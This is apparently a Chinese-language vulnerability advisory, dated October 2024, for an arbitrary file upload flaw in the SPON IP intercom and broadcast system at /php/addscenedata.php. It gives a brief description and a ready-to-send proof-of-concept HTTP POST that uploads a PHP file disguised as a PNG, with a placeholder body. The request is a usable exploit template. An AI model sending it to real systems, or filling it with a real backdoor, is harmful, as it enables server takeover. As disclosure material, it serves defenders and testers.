世邦通信SPON-IP网络对讲广播系统 /php/addscenedata.php 文件上传漏洞

2024-10-12 世邦通信SPON-IP PoC Public

Description

世邦通信SPON IP网络对讲广播系统采用领先的IPAudio™技术,将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输系统。spon IP网络对讲广播系统存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限

PoC

POST /php/addscenedata.php HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="666666.php"
Content-Type: image/png

6666666666666666
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#SPON-IP System /php/addscenedata.php File Upload Vulnerability

Related Vulnerabilities